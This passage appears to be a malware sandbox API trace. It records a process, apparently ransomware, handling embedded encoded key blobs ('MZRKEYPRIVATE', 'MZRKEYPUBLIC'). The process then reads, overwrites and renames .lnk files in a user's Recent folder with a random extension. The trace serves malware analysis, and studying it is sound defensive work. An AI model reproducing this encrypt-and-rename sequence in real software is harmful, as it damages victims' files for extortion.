51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.886] GetCurrentThreadId () returned 0xa30 [0084.886] GetCurrentThreadId () returned 0xa30 [0084.886] GetCurrentThreadId () returned 0xa30 [0084.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.887] GetCurrentThreadId () returned 0xa30 [0084.887] GetCurrentThreadId () returned 0xa30 [0084.887] GetCurrentThreadId () returned 0xa30 [0084.887] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_sTXIMggYSPV.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_stximggyspv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.887] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.887] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.887] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1a4f [0084.887] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.887] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1a4f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1a4f, lpOverlapped=0x0) returned 1 [0084.889] CloseHandle (hObject=0x124) returned 1 [0084.889] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_sTXIMggYSPV.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_stximggyspv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.891] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1a4f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1a4f, lpOverlapped=0x0) returned 1 [0084.893] CloseHandle (hObject=0x124) returned 1 [0084.894] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_sTXIMggYSPV.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_stximggyspv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_sTXIMggYSPV.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_stximggyspv.lnk.zv7un")) returned 1 [0084.896] GetCurrentThreadId () returned 0xa30 [0084.896] GetCurrentThreadId () returned 0xa30 [0084.896] GetCurrentThreadId () returned 0xa30 [0084.896] GetCurrentThreadId () returned 0xa30 [0084.896] GetCurrentThreadId () returned 0xa30 [0084.896] GetCurrentThreadId () returned 0xa30 [0084.896] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ab6be0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1ab6be0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1ab6be0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20e3, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="_XVFyuqaJA4MHES.lnk", cAlternateFileName="_XVFYU~1.LNK")) returned 1 [0084.896] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.896] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.896] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_XVFyuqaJA4MHES.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_xvfyuqaja4mhes.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ab6be0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1ab6be0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1ab6be0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20e3)) returned 1 [0084.896] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_XVFyuqaJA4MHES.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_xvfyuqaja4mhes.lnk")) returned 0x20 [0084.896] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_XVFyuqaJA4MHES.lnk", dwFileAttributes=0x80) returned 1 [0084.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoU